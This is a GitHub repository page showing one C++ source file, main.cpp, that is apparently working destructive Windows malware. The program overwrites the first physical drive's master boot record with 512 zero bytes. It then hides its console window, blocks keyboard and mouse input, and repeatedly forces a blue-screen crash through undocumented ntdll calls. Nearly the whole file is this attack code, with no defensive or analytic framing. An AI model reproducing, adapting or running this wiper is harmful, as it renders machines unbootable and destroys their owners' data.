-
Notifications
You must be signed in to change notification settings - Fork 1
/
main.cpp
57 lines (50 loc) · 1.57 KB
/
main.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#include <Windows.h>
#include <iostream>
#pragma comment(lib, "ntdll.lib")
using namespace std;
#define MBR_SIZE 512
extern "C" NTSTATUS NTAPI RtlAdjustPrivilege(ULONG Privilege, BOOLEAN Enable, BOOLEAN CurrentThread, PBOOLEAN OldValue);
extern "C" NTSTATUS NTAPI NtRaiseHardError(LONG ErrorStatus, ULONG NumberOfParameters, ULONG UnicodeStringParameterMask,
PULONG_PTR Parameters, ULONG ValidResponseOptions, PULONG Response);
void HideConsole()
{
::ShowWindow(::GetConsoleWindow(), SW_HIDE); //Hides console window
}
void BlueScreen()
{
BOOLEAN bl;
ULONG Response;
RtlAdjustPrivilege(19, TRUE, FALSE, &bl);
NtRaiseHardError(STATUS_ASSERTION_FAILURE, 0, 0, NULL, 6, &Response);
}
int main()
{
DWORD write;
char mbrData[MBR_SIZE]; //Size of MBR is 512 bytes to be overwritten
ZeroMemory(&mbrData, (sizeof mbrData));
HANDLE MasterBootRecord = CreateFile(L"\\\\.\\PhysicalDrive0"
, GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE
, NULL, OPEN_EXISTING, NULL, NULL);
if (WriteFile(MasterBootRecord, mbrData, 512, &write, NULL) == TRUE) {
HideConsole();
while (1) {
cout << (char)7;
BlockInput(true);
BlueScreen();
}
Sleep(10000);
ExitProcess(0);
}
else {
HideConsole();
while (1) {
cout << (char)7;
BlockInput(true);
BlueScreen();
}
Sleep(10000);
ExitProcess(0);
}
CloseHandle(MasterBootRecord);
return EXIT_SUCCESS;
}